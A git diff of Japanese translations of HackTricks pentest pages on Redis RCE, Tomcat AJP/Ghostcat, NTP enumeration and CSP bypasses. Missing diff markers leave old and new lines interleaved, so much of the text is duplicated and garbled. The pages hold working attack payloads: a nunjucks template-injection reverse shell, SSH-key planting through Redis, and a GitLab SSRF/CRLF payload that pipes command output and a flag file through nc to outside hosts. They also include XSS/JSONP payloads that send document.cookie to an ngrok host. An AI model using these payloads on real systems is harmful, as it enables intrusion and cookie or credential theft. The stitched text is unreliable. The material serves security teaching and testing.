新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、トップハッカーとコラボレーションを始めましょう!
[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!
## Redis RCE
@ -184,7 +184,7 @@ OK
前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのHTMLテンプレートファイルを上書きしてシェルを取得することもできます。
例えば、[**この書き込み**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)に従って、攻撃者が**nunjucksテンプレートエンジン**によって解釈され**HTMLにrevシェルを注入した**ことがわかります。
例えば、[**この書き込み**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)に従って、攻撃者が**nunjucksテンプレートエンジン**によって解釈され**HTMLにrevシェルを注入した**ことがわかります。
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
@ -199,19 +199,19 @@ sh.stderr.pipe(client);
)()}}
```
{% hint style="warning" %}
注意してください。**いくつかのテンプレートエンジンは**テンプレートを**メモリ**にキャッシュするため、上書きしても新しいものは**実行されません**。この場合、開発者が自動リロードを有効にしたままにしているか、サービスに対してDoSを実行する必要があります(自動的に再起動されることを期待してください)。
注意してください **いくつかのテンプレートエンジンは** テンプレートを **メモリ** にキャッシュしますので、上書きしても新しいものは **実行されません**。この場合、開発者が自動リロードを有効にしたままにしているか、サービスに対してDoSを行う必要があります(そして自動的に再起動されることを期待します)。
{% endhint %}
### SSH
例 [こちらから](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
**`config get dir`** の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にこれを最初に実行することをお勧めします。**`config get dir`** の出力には、**redisユーザー**の**ホーム**(通常は _/var/lib/redis_ または _/home/redis/.ssh_)が見つかり、これを知ることで、**redisユーザー**でssh経由でアクセスするために `authenticated_users` ファイルを書き込む場所がわかります。他の有効なユーザーのホームを知っていて、書き込み権限がある場合は、それを悪用することもできます:
**`config get dir`** の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にこれを最初に実行することをお勧めします。**`config get dir`** の出力には、**redisユーザー**の**ホーム**(通常は _/var/lib/redis_ または _/home/redis/.ssh_)が見つかり、これを知ることで、ssh **でredisユーザーとしてアクセスするために`authenticated_users`ファイルを書き込む場所がわかります**書き込み権限のある他の有効なユーザーのホームを知っている場合も、それを悪用できます:
1. PCでssh公開鍵-秘密鍵ペアを生成します:**`ssh-keygen -t rsa`**
2. 公開鍵をファイルに書き込みます:**`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. ファイルをredisにインポートします**`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Redisサーバーの**authorized\_keys**ファイルに公開鍵を保存します:
1. PCでssh公開鍵-秘密鍵ペアを生成します: **`ssh-keygen -t rsa`**
2. 公開鍵をファイルに書き込みます: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. ファイルをredisにインポートします **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. 公開鍵をredisサーバーの**authorized\_keys**ファイルに保存します:
```
root@Urahara:~# redis-cli -h 10.85.0.52
@ -222,7 +222,7 @@ OK
10.85.0.52:6379> save
OK
```
5. 最後に、秘密鍵を使って**redisサーバー**に**ssh**接続できます:**ssh -i id\_rsa redis@10.85.0.52**
5. 最後に、秘密鍵を使って**redisサーバー**に**ssh**できます: **ssh -i id\_rsa redis@10.85.0.52**
**この技術はここで自動化されています:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
@ -260,7 +260,7 @@ The last example is for Ubuntu, for **Centos**, the above command should be: `re
### LUA sandbox bypass
[**ここ**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)で、Redisが**Luaコードをサンドボックス化して実行するために**コマンド**EVAL**を使用していることがわかります。リンクされた投稿では、**dofile**関数を使用して**それを悪用する方法**が示されていますが、[どうやら](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)これはもはや不可能なようです。いずれにせよ、**Lua**サンドボックスを**バイパス**できれば、システム上で**任意の**コマンドを**実行**できます。また、同じ投稿から**DoSを引き起こすためのオプション**も確認できます。
[**ここ**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)で、Redisが**Luaコードをサンドボックス化して実行するために**コマンド**EVAL**を使用していることがわかります。リンクされた投稿では、**dofile**関数を使用して**それを悪用する方法**が示されていますが、[どうやら](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)これはもはや不可能なようです。とにかく、**Lua**サンドボックスを**バイパス**できれば、システム上で**任意の**コマンドを**実行**できます。また、同じ投稿から**DoSを引き起こすためのオプション**も確認できます。
Luaから脱出するためのいくつかの**CVE**
@ -268,7 +268,7 @@ Luaから脱出するためのいくつかの**CVE**
### Master-Slave Module
マスターレディスのすべての操作は自動的にスレーブレディスに同期されます。つまり、脆弱性のあるredisをスレーブredisと見なすことができ、マスターレディスに接続されている自分の制御下にあるredisにコマンドを入力できます。
マスターレディスのすべての操作は自動的にスレーブレディスに同期されます。これは、脆弱性のあるredisをスレーブredisと見なすことができ、マスターレディスに接続されている自分の制御下にある場合、コマンドを自分のredisに入力できることを意味します。
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -282,7 +282,7 @@ set mykey2 helloworld
```
## SSRFがRedisと通信する
もし**平文**リクエストを**Redis**に送信できるなら、Redisはリクエストを行ごとに読み取り、理解できない行にはエラーで応答するため、**それと通信する**ことができます。
**Redis**に**クリアテキスト**リクエストを送信できる場合、リクエストを行ごとに読み取り、理解できない行にはエラーで応答するため、**それと通信する**ことができます。
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
@ -292,7 +292,7 @@ set mykey2 helloworld
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
したがって、ウェブサイトで**SSRF vuln**を見つけ、いくつかの**headers**おそらくCRLF vulnを使用してや**POSTパラメータ**を**制御**できる場合、Redisに任意のコマンドを送信することができます。
したがって、ウェブサイトで**SSRF vuln**を見つけ、いくつかの**ヘッダー**おそらくCRLF vulnを使用してや**POSTパラメータ**を**制御**できる場合、任意のコマンドをRedisに送信することができます。
### 例: Gitlab SSRF + CRLF to Shell
@ -305,38 +305,38 @@ sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
そして、**URLエンコード**リクエスト**を用したSSRF**と**CRLF**を使用して`whoami`を実行し、出力を`nc`経由で返すのは次の通りです:
そして、**URLエンコード**リクエスト**を用したSSRF**と**CRLF**を使用して`whoami`を実行し、出力を`nc`経由で返すのは次の通りです:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_For some reason (as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from) the exploitation worked with the `git` scheme and not with the `http` scheme._
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加してください!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
**Hacking Insights**\
ハッキングのスリルと挑戦に深く関わるコンテンツに参加してください
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を最新の状態に保ちましょう
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握してください
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
**Latest Announcements**\
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を得てください
今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy) で私たちに参加し、トップハッカーとコラボレーションを始めましょう!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングのトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -49,7 +49,7 @@ PORT STATE SERVICE
AJPポートが公開されている場合、TomcatはGhostcat脆弱性に対して脆弱である可能性があります。この問題に対処する[エクスプロイト](https://www.exploit-db.com/exploits/48143)があります。
GhostcatはLFI脆弱性ですが、ある程度制限されています特定のパスからのみファイルを取得できます。それでも、サーバーの設定によっては、`WEB-INF/web.xml`のようなファイルが含まれ、Tomcatインターフェースの資格情報などの重要な情報が漏洩する可能性があります。
GhostcatはLFI脆弱性ですが、ある程度制限されています特定のパスからのみファイルを取得できます。それでも、サーバーの設定によっては、`WEB-INF/web.xml`のようなファイルが含まれる可能性があり、Tomcatインターフェースの資格情報などの重要な情報が漏洩する可能性があります。
9.0.31、8.5.51、7.0.100以上のパッチ適用済みバージョンでこの問題は修正されています。
@ -147,7 +147,7 @@ docker run -it --rm -p 80:80 nginx-ajp-proxy
```
### Apache AJP Proxy
ポート8009が他のアクセス可能なウェブポートなしで開いているのは珍しい。しかし、**Metasploit**を使用してそれを悪用することは依然として可能である。**Apache**をプロキシとして活用することで、リクエストをポート8009の**Tomcat**にリダイレクトできる
ポート8009が他のアクセス可能なウェブポートなしで開いているのは稀です。しかし、**Metasploit**を使用してそれを悪用することは依然として可能です。**Apache**をプロキシとして利用することで、リクエストをポート8009の**Tomcat**にリダイレクトできます
```bash
sudo apt-get install libapache2-mod-jk
sudo vim /etc/apache2/apache2.conf # append the following line to the config
@ -174,20 +174,20 @@ msf exploit(tomcat_mgr_deploy) > show options
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握する
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得
今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、トップハッカーとコラボレーションを始めましょう!
**私たちに参加して** [**Discord**](https://discord.com/invite/N3FrSbmwdy)で今日からトップハッカーとコラボレーションを始めましょう!
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -198,7 +198,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。
</details>

View file

@ -16,7 +16,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
{% endhint %}
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -100,7 +100,7 @@ Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
@ -113,7 +113,7 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう!
**私たちに参加してください** [**Discord**](https://discord.com/invite/N3FrSbmwdy)、今日からトップハッカーとコラボレーションを始めましょう!
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -123,8 +123,8 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -10,37 +10,37 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握する
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていく
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加し、今日からトップハッカーとコラボレーションを始めましょう!**
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!**
## CSPとは
コンテンツセキュリティポリシー (CSP) は、主に**クロスサイトスクリプティング (XSS)**などの攻撃から**保護することを目的としたブラウザ技術**として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン自己からのリソースの読み込みと実行を許可することがあり、インラインリソースや`eval`、`setTimeout`、`setInterval`などの関数を通じて文字列コードの実行を含むことがあります。
CSPの実装は、**レスポンスヘッダー**を介して行われるか、**HTMLページにメタ要素を組み込むことによって行われます**。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を即座にブロックします。
CSPの実装は、**レスポンスヘッダー**を介して行われるか、**HTMLページにメタ要素を組み込むことによって行われます**。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。
* レスポンスヘッダーを介して実装:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
* メタタグを介して実装された:
* メタタグを介して実装された
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
@ -72,7 +72,7 @@ object-src 'none';
* **child-src**: ウェブワーカーや埋め込まれたフレームコンテンツのために許可されたリソースを指定します。
* **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用して読み込むことができるURLを制限します。
* **frame-src**: フレームのためのURLを制限します。
* **frame-ancestors**: 現在のページを埋め込むことができるソースを指定します。これは、`<frame>`、`<iframe>`、`<object>`、`<embed>`、および`<applet>`のような要素に適用されます。
* **frame-ancestors**: 現在のページを埋め込むことができるソースを指定します。これは、`<frame>`、`<iframe>`、`<object>`、`<embed>`、および`<applet>`などの要素に適用されます。
* **img-src**: 画像のために許可されたソースを定義します。
* **font-src**: `@font-face`を使用して読み込まれるフォントのための有効なソースを指定します。
* **manifest-src**: アプリケーションマニフェストファイルのために許可されたソースを定義します。
@ -97,12 +97,12 @@ object-src 'none';
* `'unsafe-eval'`: `eval()`や類似のメソッドの使用を許可しますが、セキュリティ上の理由から推奨されません。
* `'unsafe-hashes'`: 特定のインラインイベントハンドラを有効にします。
* `'unsafe-inline'`: インライン`<script>`や`<style>`のようなインラインリソースの使用を許可しますが、セキュリティ上の理由から推奨されません。
* `'nonce'`: 暗号的なnonce1回使用される番号)を使用する特定のインラインスクリプトのホワイトリストです。
* JSの実行が制限されている場合、`doc.defaultView.top.document.querySelector("[nonce]")`を使用してページ内の使用済みnonceを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能ですstrict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません。以下のように
* `'nonce'`: 暗号的なンス1回限り使用される番号)を使用する特定のインラインスクリプトのホワイトリストです。
* JSの実行が制限されている場合、`doc.defaultView.top.document.querySelector("[nonce]")`を使用してページ内の使用済みノンスを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能ですstrict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません。以下のように
<details>
<summary>nonceを再利用してスクリプトを読み込む</summary>
<summary>ノンスを再利用してスクリプトを読み込む</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img src=x ng-on-error='
@ -122,10 +122,10 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
* `filesystem:`: ファイルシステムからリソースを読み込むことを許可します。
* `'report-sample'`: 違反報告に違反コードのサンプルを含めます(デバッグに便利です)。
* `'strict-origin'`: 'self'に似ていますが、ソースのプロトコルセキュリティレベルがドキュメントと一致することを保証します(安全なオリジンのみが安全なオリジンからリソースを読み込むことができます)。
* `'strict-origin-when-cross-origin'`: 同一オリジンリクエストを行う際に完全なURLを送信しますが、リクエストがクロスオリジンの場合はオリジンのみを送信します。
* `'strict-origin-when-cross-origin'`: 同一オリジンリクエストを行う際に完全なURLを送信しますが、クロスオリジンリクエストの場合はオリジンのみを送信します。
* `'unsafe-allow-redirects'`: すぐに別のリソースにリダイレクトされるリソースを読み込むことを許可します。セキュリティを弱めるため推奨されません。
## 安全でないCSPルール
## Unsafe CSP Rules
### 'unsafe-inline'
```yaml
@ -190,18 +190,18 @@ Working payload:
```
しかし、サーバーが**アップロードされたファイルを検証している**可能性が高く、**特定のタイプのファイルのみをアップロードすることを許可する**でしょう。
さらに、サーバーが受け入れる拡張子を持つファイルに**JSコードを含めて**アップロードできたとしても(例えば_script.png_、これは十分ではありません。なぜなら、apacheサーバーのような一部のサーバーは**拡張子に基づいてファイルのMIMEタイプを選択し**、Chromeのようなブラウザは**画像であるべきものの中のJavascript**コードを**実行することを拒否します**。「幸運にも」、間違いがあります。例えば、CTFから学んだことですが、**Apacheは**_**.wave**_拡張子を知らないため、**audio/***のような**MIMEタイプで提供しません**。
さらに、サーバーが受け入れる拡張子を持つファイルに**JSコードを含めて**アップロードできたとしても_script.png_、これは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは**拡張子に基づいてファイルのMIMEタイプを選択し**、Chromeのようなブラウザは**画像であるべきものの中のJavascript**コードを**実行することを拒否します**。「幸運にも」、ミスがあります。例えば、CTFから学んだことですが、**Apacheは**_**.wave**_拡張子を知らないため、**audio/***のような**MIMEタイプで提供しません**。
ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけた場合、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することができます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。
ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することができます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。
### Form-action
JSを注入することが不可能な場合でも、例えば資格情報を**フォームアクションを注入することで**流出させることを試みることができます(そして、パスワードマネージャーが自動的にパスワードを入力することを期待するかもしれません)。[**このレポートに例があります**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)も確認してください。また、`default-src`はフォームアクションをカバーしていないことに注意してください。
JSを注入することが不可能な場合でも、例えば資格情報を**フォームアクションを注入することで**流出させることを試みることができます(そして、パスワードマネージャーが自動的にパスワードを入力することを期待するかもしれません)。[**このレポートに例があります**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)もご覧ください。また、`default-src`はフォームアクションをカバーしていないことに注意してください。
### 第三者エンドポイント + ('unsafe-eval')
{% hint style="warning" %}
以下のペイロードのいくつかに対して**`unsafe-eval`は必要ない**場合もあります。
以下のペイロードのいくつかに対しては、**`unsafe-eval`は必要ない**場合もあります。
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
@ -263,7 +263,7 @@ Angular XSSはクラス名から:
```
#### Google reCAPTCHA JSコードの悪用
[**このCTFの解説**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves)によると、CSP内で[https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)を悪用して、CSPをバイパスし任意のJSコードを実行することができます:
[**このCTFの解説**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves)によると、CSP内で[https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)を悪用して、CSPをバイパスし任意のJSコードを実行できます
```html
<div
ng-controller="CarouselController as c"
@ -303,7 +303,7 @@ script.google.com内のページで情報を受け取るためにGoogle Apps Scr
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
このようなシナリオでは、`script-src`が`self`および特定のホワイトリストに登録されたドメインに設定されている場合、JSONPを使用してバイパスできます。JSONPエンドポイントは、安全でないコールバックメソッドを許可し、攻撃者がXSSを実行できるようにします。動作するペイロード
このようなシナリオでは、`script-src`が`self`特定のホワイトリストに登録されたドメインに設定されている場合、JSONPを使用してバイパスできます。JSONPエンドポイントは、安全でないコールバックメソッドを許可し、攻撃者がXSSを実行できるようにします。動作するペイロード
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
